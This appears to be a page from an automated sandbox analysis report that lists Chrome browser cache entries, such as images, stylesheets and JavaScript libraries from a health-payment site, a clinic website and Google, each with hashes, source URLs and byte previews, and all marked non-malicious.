.cookie-notice-container,#cookie-notice.cookie-revoke-hidden .cookie-revoke-container{display:none}.cn-position-top{top:0}.cn-position-bottom{bottom:0}.cookie-notice-contai

Chrome Cache Entry: 599

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2251
Entropy (8bit):	7.889660850982835
Encrypted:	false
SSDEEP:	48:k4eIAhyy+4kpl0egQ9q3Eh7MpPYgzjFHwT0aVGh0wgiBdbCQ:k4e9yyExdMpN5PaVGhHgWR
MD5:	AF9EE10F3A1FACCA0734C30A14969DBC
SHA1:	549A7BC681ECCCD8E395B141B352F2A780B935FC
SHA-256:	428872D3EB1827C1DF311200338D4D8464AC42C4F628EC3F376EFB72EF24D3F5
SHA-512:	E1B424831B89365ABA26A5F01DD801A5111B80A7492388022EFBD1CF071B06E12B584E46F51FC1A6D60F30446CEF30A88880BB507F54370BE7DEA7A66F9BE6C5
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/img/view-billing-details.png
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.{pT....}.+.d.b.l.0.T.L...$....h...".G...I;J..-Xu:.FT...J.L....4...80F.A`...yl....nv.....l.Y......S.{..s....-....\g.pM..,.5j5..]>.....cY7........{b.t.x.1a..o...i..m.....h@.(...........W0R.>...WYd^.}..{S.'.e=.....9......8.q\....H.96...6.$.}YN.....5.0.%1.....b{rxV.I......5.........M..,..jH.......:;.9do...H.8..d.e..8)....k.../Nj..4..{.g9......x.r....).....N.3%Uo(,2........Z..y:...t....3.~.y..p`.}gt..F....cXT...7..~..c.>j.~..7...oBZ...e./..R...b4._.(.6..R.'..jU.D..R.....%S}]M....8.....'..N....f...B.p..()\..d..n..Rs$[.Hb...#......s7.2..........g{..w.F.8....`.=..XW.i...o....\.....X..>.f:..2.0.P.}`.....v..{.:{sY..~.!...z.>[....e...~.ga...a.n..Dc..;.R.%Yt~2..F.,....\|..5.....J.S.3a_...[Y..(....,...:......N.F.$a'Z...i....y......../..;....w`..o...G....)....-p^.\...a...`].8}.......sZ.ko....Q;..]...&?8;...k..t....9...eV..+.g.%.n...xV...c.[.j.a.8v...i...j..q...IKZ.)g..Q.V[..Hi...(.}...

Chrome Cache Entry: 600

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2577
Entropy (8bit):	7.904531504624332
Encrypted:	false
SSDEEP:	48:ZeiDUVRVFr0s+W/54TaaEllC8V4kwZc3z1RAaFJPQ0GvhybFKvw76:ZfUV/F0s+Q54OaEllCnq3z1R3F9ZGvhF
MD5:	3C907035425AFA74D6B6D7E02A28455B
SHA1:	7A18A6AFD5DAABFE1B20A574DA34C6038DEB0C2F
SHA-256:	4C07BDA50F2AAEA31484EB5B0FED013EE1B835999381792B3672CF01C013A4A3
SHA-512:	C5371C9F6AE2C2569DA37A7A4EADAA6365D890786292F7982D97BFC989A9389FEF422BA77C62546E4DE2416A676CB9656B38F6A4ADB5603671C832C555ED6FF6
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/img/pay-your-bills.png
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.}T.W...d&........V.j..Q..B..@.q.E.......V..Ak]..Z]k.j.u..v?Z..2(.`..GwU. ..@.af2;/.!N2.I..c...#......... ..{.W.(...7e...5.u..c.B.J(..s". ....m.....J.K.N........E...(G)D"....I...s.z...#..C.....R.jT..0.)...;..`...~vT......$4.\..Rw..Jg+G.tC..G......i.$<r.....PL...8E...+e &..w.....'g.v............?..![3.O....ZZ.\|...[.....4.....T.(1cw>A\|.......z.z.f.=.M...7..]..A.r0........?.4.t...()....,..q..n.4..T...Co..nY.C....{`\|.l....i...?..d....%.D.O..-.%...2...w....v.qH.5......N.V.?.n..K.=.D..f...g%.].....:$...W.N.xX..d.p.R9...V...[.....0..x!...W+)....P.si.I..L.........q.X.;..+..\ZxB.C/.@{.0..$..$.k./..i$..U...>./.VE.a.......B.\.\s.P.....I....qe.q..?...8..U.S.b......T+<.........b...w1....\|.J....t...!....rd..n....7.......^X.+'....?,]1..B...q.)Q...3#..V.."#...o..]..r.HY.e.....W.W..nb.o'l...yk.....V.G.}8.xZ\...0.iBi.q..wk....v..*........OX..@.E\|V....../K.eO#..i4..W.X.d..d[..3..Aw.

Chrome Cache Entry: 601

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 37139
Category:	downloaded
Size (bytes):	3357
Entropy (8bit):	7.926240247150049
Encrypted:	false
SSDEEP:	96:n+kBKvZlhFGjttBx+Y5nUQ2N7ixSB0njFYaA:XWhWx+Y5Z2N7Ks2i
MD5:	3134759BAEF162D3713FA4E7E5A37BE2
SHA1:	A082FA38DFDDFAB5982D97B0CE0864184938FD09
SHA-256:	1EDAF2B25588A044CA149D2AD251E911C6B263F5B45A07863511177A9095768B
SHA-512:	F16489D9F16B6ED3D3FC2C9781765CE4E0386DFCB3FBD396E24D8CAA3C54A7361944852C6491B8B49C58079C630676111EF78816770707B3F8EE9656F621740E
Malicious:	false
Reputation:	low
URL:	http://static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.css
Preview:	............6..o.mu...0%.dN..R....J..p.I...bg&S.{_..b...0.&=..1....k...?.4......%..v)..[BqR$ _......8X.K..(].K.G0w.x.$(u7..7.x^..G.......8:....K..(.Q..h..1\...cD(....]bJq.f. B$...O.2...81X.X.........4X>J.-..~f..J._.u....8..aNQ.b...EQ.....U.?..d>H??60....c....va......Et.:.@t.....D..G./.9.y.....O..Cp."...\|]..%...9..................R.s..l...%x....... B[..]..)e......b...?...+..........9)......O...%0G.@X4..?V".p.%..Rf...y.....Q._.M...R.s...-p?...Q.d..9HC.8....5..].[E....i....U x.7.A.78.`^.(..?&?..U<.c._.....J.....N..>..v.."t,z.0X.....1..K.P..i.G...cm..l......`Ea^.....a'.6.y"...\|h2.g.N.tL...5L.f.[..9D9m.r9'....{^..3..a.(....P....qRI...E9....a..%\...!N)...w:.\|....X..o).(.\|./P...E..p..:[.3..9.....kX.Y....b.?P...6c.4..u.G.).}...xRQ.......Hy.o..<....j+.~pzt...-s..)H`.Mm..bv..\.__.DK.5........8.....T*/...RV5.J`C.R...6'8.3..Oi<)i.k....%`-..v..y...$PR..-...w3..&....y,2J..n...@.I5.DS..e.JB../..8v.'..@.....R..:.l.\|....=H...]...o.k....V3..i>..

Chrome Cache Entry: 602

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 250 x 154, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	24741
Entropy (8bit):	7.985064243241311
Encrypted:	false
SSDEEP:	768:B777ve057qWavN7/8MCsJi5jjoBb0OzlWd:B777vRkNr8dsJiRjib0qU
MD5:	8D3BC51DC8119A5C1222E08219D75493
SHA1:	4665B40F749C8FB1A9444C88E3853348D3E7DF9F
SHA-256:	A0A8E19F5A0FC76D6B60C0EFE816EE8C4FF3E0795A152CA4BCFDCD356BB4DF48
SHA-512:	97C32530CAFF01FD3DA6C3BCE892B2B37CEC0551F251AF9BDAF864E332012A74D52192E8217EA230AEDA598C2DE18B366C154209B09F6A754C416F93368ED9D8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............Ug....gAMA......a...@.IDATx......q._.s.....9.. ..L1..JT.,K.}..(..-....>.A...:['[.e+'J...s...s...9....z.HD.],...}3...]]].U]].588..eB.....U1..YYY..R...5..+.......Av....d0...@....m..a............2.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}..`.Y\|..@.M.2a\|a@.Cf.(b.]w.]9.....8.....=Ut.4.N_&_........n....#..Ro..%VVYg.....o9......t.;..1......0..2.I..+s3V1.a.Qm...Ifw..Cg..Gu..0\V?.9......z.....uw..D.ak.....X{k..t..l.....Ee.V..VN...V\Zm..U..[vN^......1.......h..Q...}..g~...2.>..!..t.S.&..&'r.$.1..z....e....h.g.......fo.....7a6..s..g..7..v..8lV.......+..e.[Pfe....J'L........?;'.;......wF1...C.."3.1.....r...9."q\._.u.vKR'.....I}.:...../.Y.@...........7..u.....R...VO.n.....z.g[#.=''..s,.......Zq..@.d4.....CAi.A)/.....w.......0.9h.....E..#..`...t{.>W.{......F.....Aa'gV1r<Bv..^...<...`......N$+..%.C.....4

Chrome Cache Entry: 603

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 15 x 14
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	5.3804526215218225
Encrypted:	false
SSDEEP:	3:CvflndVyl0xluna+GYPDPkE:8lndJjoKYLP/
MD5:	B771DBCC3798D2B77E8F1413F6D06CFE
SHA1:	82B9FE6114481FEE01452C671CBEF7397E435A5D
SHA-256:	9A57B05E8842CBEC0A4A757360DD1994FA3F754E925D6F1C4B643A4A0BB75F89
SHA-512:	B3C3299A729673C0ABFE2B5CAC2965B6B0DAD2F31EA990593C68DC1493F355FDE3D4505A99DEDDFBEA36920EB505D00423ADE3F6C0E41B5A39CA027001268AA9
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/googlecalendar/images/btn_menu6.gif
Preview:	GIF89a...........3f....!.......,..........%\.......MRho.N./l.....qP.d..j.5S...w..;

Chrome Cache Entry: 604

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22367), with no line terminators
Category:	downloaded
Size (bytes):	22367
Entropy (8bit):	5.542626302580642
Encrypted:	false
SSDEEP:	384:gM78SUevMTjuFzouWaqWAlpTpdHjPtcnG:p7oevMX5HjPwG
MD5:	B0B46B807EEE39AF0AAD8F5FEFC9B3A2
SHA1:	0FB04F15599BC0844063A6AB776C86E73CB9FBFC
SHA-256:	71CA2652E2B3FFD3C0EC966958604714CE6C7AF01D961B44ADC438518EB58CB3
SHA-512:	4EEC49904A5480940124A1C1B9C9DAE764EBB115829CBCE4356E66A1D7F077DFD204A4634B0622FFB14CC6EBFF7062D7F30502BF0BC7D998A1A55FC8C876DA8E
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/translate_http/_/ss/k=translate_http.tr.26tY-h6gH9w.L.W.O/am=wA/d=0/rs=AN8SPfpPTNr3cQN8QhzqvQYsNrDu3oHhow/m=el_main_css
Preview:	.VIpgJd-ZVi9od-ORHb-OEVmcd{left:0;top:0;height:39px;width:100%;z-index:10000001;position:fixed;border:none;border-bottom:1px solid #6B90DA;margin:0;box-shadow:0 0 8px 1px #999}.VIpgJd-ZVi9od-xl07Ob-OEVmcd{z-index:10000002;border:none;position:fixed;box-shadow:0 3px 8px 2px #999}.VIpgJd-ZVi9od-SmfZ-OEVmcd{z-index:10000000;border:none;margin:0}.goog-te-gadget{font-family:arial;font-size:11px;color:#666;white-space:nowrap}.goog-te-gadget img{vertical-align:middle;border:none}.goog-te-gadget-simple{background-color:#FFF;border-left:1px solid #D5D5D5;border-top:1px solid #9B9B9B;border-bottom:1px solid #E8E8E8;border-right:1px solid #D5D5D5;font-size:10pt;display:inline-block;padding-top:1px;padding-bottom:2px;cursor:pointer}.goog-te-gadget-icon{margin-left:2px;margin-right:2px;width:19px;height:19px;border:none;vertical-align:middle}.goog-te-combo{margin-left:4px;margin-right:4px;vertical-align:baseline}.goog-te-gadget .goog-te-combo{margin:4px 0}.VIpgJd-ZVi9od-l4eHX-hSRGPd,.VIpgJd-ZVi9od-

Chrome Cache Entry: 605

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2133
Entropy (8bit):	4.320480445208527
Encrypted:	false
SSDEEP:	48:cXSYNR2mVQlu7QYMuqAOtyb/1jrrv9RmCM:oMFpidvrvY
MD5:	3D15ACFCC62A783A245A402EF280C5CD
SHA1:	4122698F8A2160231EF6FBB9B27F8277A47CD77F
SHA-256:	8D1FCB5853BDBAE11647B4D3B003349E9F219DDA630E2D86AA221E0A88CE58EF
SHA-512:	9216AB2C8321986A7F50DAED821756FD27CFA401BA91DBDC275B8548022F8F852EA4CB055DE7D28774D5F2215C56B273EAD8C413907B6F0D6C9AE580545B9C2B
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M34.7384 69.4768C53.9239 69.4768 69.4768 53.9239 69.4768 34.7384C69.4768 15.5529 53.9239 0 34.7384 0C15.5529 0 0 15.5529 0 34.7384C0 53.9239 15.5529 69.4768 34.7384 69.4768Z" fill="#9A4879"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M42.7608 20.6509C45.5047 22.0155 47.5151 24.1968 48.5752 26.9592C49.4869 29.3361 49.5901 31.8097 48.8816 34.3114C48.2635 36.4939 47.007 38.6722 45.2477 40.6109C44.5387 41.3923 44.1791 42.9484 44.1791 45.2361V48.4806C44.1791 49.4806 43.3659 50.294 42.3659 50.294H30.6389C29.689 50.294 28.8948 49.5518 28.8307 48.6042C28.7973 48.1074 28.7453 47.6527 28.7277 47.5045C28.5312 46.7552 27.8566 46.4673 26.7218 46.6498C25.2502 46.886 24.0548 46.6842 23.2642 46.0657C22.694 45.6197 22.3587 44.9805 22.2943 44.2174C22.2668 43.8898 22.2473 4

Chrome Cache Entry: 606

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1454)
Category:	downloaded
Size (bytes):	216518
Entropy (8bit):	5.618356218296365
Encrypted:	false
SSDEEP:	6144:F9doMC0sR3uoHmERWe93zjj9yJZAYLfGj8KerL/zeQLgdgODb5q7:F9doMC0shuo3B93zfeAYLg8KerLqygd+
MD5:	E53D14199DFD125A135F6F81757DEB0D
SHA1:	826E67852D1AE3A099888A6FADC53DD000C820EA
SHA-256:	E97B55026C97FD3F5F7D3D1FDD537150AB97D48C52C937328960308CBD5A5390
SHA-512:	C9CE9C4A470F1FDBED675CD7DF794BC1CC979E6B5B7826EC6CEBA651618CC6F7F666E8EA02341ACDF145AB95478400432185B5A54DAB27D95A017E30CC367970
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/calendar/_/web/calendar-static/_/js/k=calendar-web.embed.en.5jY-auMRVX8.2020.O/am=wA/d=1/rs=ABFko3-f3RFoZyhwYWE2kEiOdztpkn--fw/m=embed
Preview:	"use strict";this.gcal=this.gcal\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0xc0, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var k,ba=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,ba);else{const c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));void 0!==b&&(this.cause=b)},ha=function(a){fa.setTimeout(()=>{throw a;},0)},ka=function(){var a=fa.navigator;return a&&(a=a.userAgent)?a:""},qa=function(a){return ma?na?na.brands.some(({brand:b})=>{return b&&-1!=b.indexOf(a)}):!1:!1},n=function(a){return-1!=ka().indexOf(a)},ra=function(){return ma?!!na&&0<na.brands.length:!1},sa=function(){return ra()?.!1:n("Opera")},ta=function(){return n("Firefox")\|\|n("FxiOS")},xa=function(){

Chrome Cache Entry: 607

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2133
Entropy (8bit):	4.320480445208527
Encrypted:	false
SSDEEP:	48:cXSYNR2mVQlu7QYMuqAOtyb/1jrrv9RmCM:oMFpidvrvY
MD5:	3D15ACFCC62A783A245A402EF280C5CD
SHA1:	4122698F8A2160231EF6FBB9B27F8277A47CD77F
SHA-256:	8D1FCB5853BDBAE11647B4D3B003349E9F219DDA630E2D86AA221E0A88CE58EF
SHA-512:	9216AB2C8321986A7F50DAED821756FD27CFA401BA91DBDC275B8548022F8F852EA4CB055DE7D28774D5F2215C56B273EAD8C413907B6F0D6C9AE580545B9C2B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_3.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M34.7384 69.4768C53.9239 69.4768 69.4768 53.9239 69.4768 34.7384C69.4768 15.5529 53.9239 0 34.7384 0C15.5529 0 0 15.5529 0 34.7384C0 53.9239 15.5529 69.4768 34.7384 69.4768Z" fill="#9A4879"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M42.7608 20.6509C45.5047 22.0155 47.5151 24.1968 48.5752 26.9592C49.4869 29.3361 49.5901 31.8097 48.8816 34.3114C48.2635 36.4939 47.007 38.6722 45.2477 40.6109C44.5387 41.3923 44.1791 42.9484 44.1791 45.2361V48.4806C44.1791 49.4806 43.3659 50.294 42.3659 50.294H30.6389C29.689 50.294 28.8948 49.5518 28.8307 48.6042C28.7973 48.1074 28.7453 47.6527 28.7277 47.5045C28.5312 46.7552 27.8566 46.4673 26.7218 46.6498C25.2502 46.886 24.0548 46.6842 23.2642 46.0657C22.694 45.6197 22.3587 44.9805 22.2943 44.2174C22.2668 43.8898 22.2473 4

Chrome Cache Entry: 608

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65465)
Category:	downloaded
Size (bytes):	249943
Entropy (8bit):	5.3371425406977995
Encrypted:	false
SSDEEP:	3072:ebhGqku2P75C5gw2vkYgsqS+0tLULbW08ewwum:esqqP7UhEuQ+0JU3iewwum
MD5:	D5A4ED5131E5C687C48411F5BAEEB926
SHA1:	9E81F658B506FA0E50E06C1BC1F903F8CC144BB2
SHA-256:	BA79FB13769F3CAE9981CF44BB342425E61862FC95EA8645C5E8AB23CB93BB65
SHA-512:	3FA125EE4AC1C4F3D4C64ACB0038240276D15EEB430CA60A999C6C5A80A325A121B6B43C6A6AF88C6F8AA66C33CA92CC8B53E18BDD63B25612ECD54884FC570B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/js/main.js?ver=1.0.0
Preview:	/! For license information please see main.08ee491c.js.LICENSE.txt /.(()=>{"use strict";var e={219:(e,t,n)=>{var r=n(763),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},a={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},i={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function u(e){return r.isMemo(e)?i:l[e.$$typeof]\|\|o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=i;var s=Object.defineProperty,c=Object.getOwnPropertyNames,f=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,p=Object.getPrototypeOf,h=Object.prototype;e.exports=function e(t,n,r){if("string"!==typeof n){if(h){var o=p(n);o&&o!==h&&e(t,o,r)}var i=c(n);f&&(i=i.concat(f(n)));for(var l=u(t),m=u(n),v=0;v<i.length;++v){var g=i[v];if(!a[g]&&(!r\|\|!r[g])&&(!m\|\|!m[g])&

Chrome Cache Entry: 609

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (386), with CRLF line terminators
Category:	downloaded
Size (bytes):	38313
Entropy (8bit):	5.192068044906044
Encrypted:	false
SSDEEP:	384:Kl3Ot7V5KV/QfqZPk8o+jIzBD6hpOOC0sF:Q3Ot7vWYfqe+7F2F
MD5:	FBDB82BDCE9D64DD453BC7F8960682B9
SHA1:	79D649F0E710B7C40C9719E646B528490CF953DE
SHA-256:	9E0CC0028F739EE0407E8953AE96DBC11493E275999A308D3FFC8135A1665541
SHA-512:	B5884C40B6D6D96224B0136C6F7826D9A4675F7890EA465348CF285DFCCADD1E7AFBD37BC55C92623A62F4A39A3EACDFC202488D627AA46F845BD065BD168513
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/style.min.css
Preview:	/* Item lock /....:root {...--accent-color: #52b7bd;..}.....btQuoteItem.btCCLock,...btQuoteGBlock.btCCLock {...position: relative;..}...btQuoteItem.btCCLock:before,...btQuoteGBlock.btCCLock:before {.. content: ' ';.. position: absolute;.. top: -10px;.. bottom: -10px;.. left: 0;.. right: 0;.. background: transparent;.. z-index: 999;..}..../ Columns and forms widths /...btQuoteBooking {.. margin: 0 0 20px;...box-sizing: border-box;...transition: opacity 400ms ease;.../ opacity: 0; /...opacity: 1 !important;...-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";...filter: alpha(opacity=0);..}...btQuoteBooking , .btQuoteBooking :after, .btQuoteBooking :before {...box-sizing: border-box;..}...btQuoteBooking:after {...content: " ";...display: table;...clear: both;...width: 100%;..}...btQuoteBooking .btQuoteBookingForm {...margin: 0 0 30px;..}...btQuoteBooking .btTotalQuoteContactGroup {.. transition: all 600ms ease;...max-height: 0;...overfl

Chrome Cache Entry: 610

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	950718
Entropy (8bit):	7.989159580950237
Encrypted:	false
SSDEEP:	24576:Dbk6Gdu4WiqwLW29CuRfFEedGfobETIbb:DbTGqwK2FfTkoATIbb
MD5:	B7D4347D5F21E56B49E85D2807E78BBE
SHA1:	5EEE30F5AA1E08C44F537B3ADAA09E2CA328FB59
SHA-256:	AC583950F75E1455F12B8E7EDF3EAB1AA851D3EC0F5C87858EE78C51413CBBDD
SHA-512:	C384F4E137DB2B9F7616ED0382C6E3EE78F33AA9ED74935B8A5112630A8FA034CDF38E60C708E35FC83023F94C98BCB350CFF55F3558457D6D167E66B3BD84BC
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2023/11/HQL-gold-2023.png
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx.....\.}........\.? .7.....6n@.=G..v/...-..`lp.....X......]......ijDH.@.9ga$.p...\+..p.....zW4..=.......?.g..=.^c$......{....:.wQ................................. ..,..............D................................@............... ..p.......^].......n....l..vY...n...88...... ).d........q.O..RjK)uT)uc.y..+{M)u.,.).X.......!..........k...e.N(.......eY.TJ.<t.3........0C..........k.M^U.....0.{..{...X.n..$G.........,.......W.=..:x...).U..V.jM.u..g.p.......\..`......`.y..+..(.n.?.q.i...3.Of.....u.............~............S.n..R..74.iG)u.T..?..;g....k.}..R........;2..................W...........s.l.m.n.x.U.3.O..[.....?.-.O.....9\|...X.nI.y..g>...5........`......=.G...TJ...^..j\U.:..nyr.#a..W.><.....,....a......\..`......=.G..Y.+^=.b..<.s..bQ.k.y..j}.T.V.qY.&..~..qW...}.i................3~t.........Z..NrT..U...\|5R.....a........................{B.r..r4.........?..I.4+L._.M.X....+U...Rm...........~G...

Chrome Cache Entry: 611

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11126), with CRLF line terminators
Category:	downloaded
Size (bytes):	11226
Entropy (8bit):	5.26185156198822
Encrypted:	false
SSDEEP:	192:JmprDNvD66fPP/+I6OP1fQP0OIr96DB6MHXcwr1Rs:JmprxG6fPP3P1fQMOIsDsMMF
MD5:	84CF3D32B3D78ABE75D6F5E9F8354DCC
SHA1:	A0EAFBFB48CDCAA246B58346CD7EBFD67458ADF3
SHA-256:	D301BAD6E867BD0803600FB51A818A777655ABE5513A2E9AC1128502D93F09AC
SHA-512:	E24E472EEDFC368103BF32F3FEA52109EC4F295A5CC0AABC36D87EC6012B0FA2CB1FFC8B9739A3BF3110BD6557515A0E878074A69B5D3CB0C03042036C4E24CD
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/jquery-migrate-3.3.2.min.js
Preview:	/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!

Chrome Cache Entry: 612

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	4.556347672103115
Encrypted:	false
SSDEEP:	6:qLzLTAqJmW/HufFg6qvfNV4NhdxQCkRgUQQpAqJmrcPGeFwr52PYSF1d8Mg4Qb:XqJmW/m26qvfNV4NbxTHQuqJmrtr1MdY
MD5:	C364EB9947BE7E89D5F6879883B80147
SHA1:	223F71DC5C2CBD94F3D6222C176AF92033C2E55F
SHA-256:	5124B371E5C2E1ADB733955062A20C6F6055599BD836F1C583AB54267BADB101
SHA-512:	A352A367BB4C2F3C200246582B0D86EA09B5297181EC682B4B24FEE457A25A070301D72B7D1901F171D71091FCFB8A86654E4B6BE4D4E1C74E4E5F265D2CDBA0
Malicious:	false
Reputation:	low
URL:	https://insight.adsrvr.org/track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2Fservices&upid=6su09yz&upv=1.1.0
Preview:	.<html>.<head>. <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script>.</head>.<body>. <div id="universalPixelContainer">. <script type="text/javascript">. (function(global) { . var ttdcm = new TTDCM(); . ttdcm.init( [] );. })(this);. </script>. </div>.</body>.</html>

Chrome Cache Entry: 613

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10085)
Category:	downloaded
Size (bytes):	10183
Entropy (8bit):	5.223158495507217
Encrypted:	false
SSDEEP:	96:Ar3UrDAWhqjlEFcbXafMlCOmceIdwD5ez6VFV7MDuxr3KFBF/tLwPfEHPDMpmq3i:ArkrDNhqOfSXeIdwDqav96DBtLwPfkR1
MD5:	02D1BEB66ABBA0C4BD314068590D22C9
SHA1:	99C364862A50EA075A884B3C84BB326F84236AC0
SHA-256:	B7EF1CB811F8DB4E4C611032CF3B24D2C1256BF9794123B41AE4DEA331EB54D6
SHA-512:	AFA03326709E3647A7DB303A7E566CC03606150910E425DB5FF4D0E09BE81C147FA923AEA4EBC270102191BA5592F1EB546072B7A3104A3A46A7E3F3BEC8E24F
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-migrate-3.2.0.min.js?ver=3.0.0
Preview:	/! jQuery Migrate v3.2.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+n[i]>+o[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.2.0",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0,s.migrateWar

Chrome Cache Entry: 614

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2134)
Category:	downloaded
Size (bytes):	13188
Entropy (8bit):	5.4223896155104025
Encrypted:	false
SSDEEP:	384:i11kqRm4UjryX2DfatZrT80NCGz5r2zItrX:iEqRm4cy338m7d
MD5:	7C96A5F11D9741541D5E3C42FF6380D7
